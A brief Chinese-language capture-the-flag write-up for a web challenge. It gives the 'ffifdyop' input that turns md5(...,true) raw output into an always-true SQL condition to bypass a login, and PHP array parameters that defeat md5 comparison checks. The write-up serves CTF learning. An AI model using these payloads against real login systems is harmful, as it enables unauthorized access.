前言
这个题的答案挺固定的,见过并且能想起来自己做过的,就肯定会做了。我以前刷题做过,有印象,翻翻笔记就回忆起来了。
过程
1、随便输入看回显。
2、无回显,且源码也没啥。那就抓包吧。
3、看来考点就是 md5($pass,true)绕过了。password=ffifdyop
原理
理解
让 password=ffifdyop
则
select * from 'admin' where password=md5(ffifdyop,true)
select * from 'admin' where password='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
整理一下
select * from 'admin' where password=' or '6\xc9]\x99\xe9!r,\xf9\xedb\x1c
再整理一下(题目的提示感觉还是有点问题的,因为md5函数返回的是字符串,后端应该会用单引号/双引号包起来的,所以应该会拼接为这样子)
select * from 'admin' where password='' or '6]!r,b'
那么
select * from 'admin' where password='' or true >>> 恒为真
4、看源码
5、$a != $b && md5($a) == md5($b)
,用数组绕过,即?a[]=1&b[]=2
6、同5。不知道为啥,同一考点考两次???param1[]=¶m2[]=2